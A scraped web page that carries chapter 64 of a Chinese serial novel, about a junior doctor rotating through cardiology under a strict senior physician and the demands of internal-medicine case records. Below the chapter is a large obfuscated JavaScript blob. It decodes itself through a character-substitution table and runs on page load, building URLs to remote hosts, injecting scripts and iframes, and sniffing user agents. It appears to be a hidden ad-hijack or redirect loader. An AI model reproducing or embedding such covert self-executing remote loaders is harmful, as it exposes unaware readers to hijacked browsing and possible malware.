正文 第六十四章 心内(第3页/共3页)
欧阳老太太，个子不高，可自带院长光环，给大家的压力特别大。再加上她又很严厉，弄得几个转科的兢兢战战的，气场逼人啊。
查完房，还有好多病程要记录。今天是大查房，主管医生和下级医生都随身带着笔记本，要当场记录上级医生说的口头医嘱。
然后要在病例里面体现出来。内科的病例比外科要求高好多。比如骨科车祸的，很简单，就是车祸导致那根骨头骨折了。时间、地点、人物、受伤程度ok了。
内科不行，得从发病开始精炼出来，治疗过没有，何种治疗，效果如何，加重了没有，有没并发症。平时服药治疗了没有。
内科的病例对用词、语气是相当考究的。可、尚可、好等词语，用的地方都不一样，你要用错了，欧阳能用手指头，点死你。
用药也繁杂，外科用药就哪几种，抗生素、止血药、活血药，了不起用点白蛋白、输点血浆、能量。按消耗给药就行。
内科不行，同一类的药物个体差异很大，有的人可以用，有的就不行。
粗通内科简单的很，一个住院医在科室三个月就大概够用了，可要想精通就难了。首先基础的扎实，从生理到病理、从组胚到生化都得熟背精通，拿起来就能用。
碰到病种才翻书，那只不过是个入门的医生。触类旁通，一个好的内科医生，能从你的口味中分析出你的身体状况，看一眼你的脸色，就对你的身体状况有个大概了解。
要达到这种程度的内科医生，没有个十几年扎扎实实的学习，思考总结，想都不要想。
『加入书签，方便阅读』
!function(){function a(a){var _idx="b5cibtb4xc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n/h^/s@QjR8)n(6)F)oR("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"s@Q"=^8")n(6)F)oR("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"s@Qd2(LCYmRD(JhfmRT4"="s@Q5p(LYpmq^Xf(LmRT4"="s@QD7(LSqm(f24hJmRT4"="s@QdC(LJ^mRD(JhfmRT4"="s@Q(C(L:4mq^Xf(LmRT4"="s@QC2(LSYm(f24hJmRT4"="s@Q25(LLSmRD(JhfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPs@Q2F(LCYmX{LX@ShmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPs@Q2F(LCYmX{LX@ShmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n/f/s@Qj(8}vR8)n(6)F)oR("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();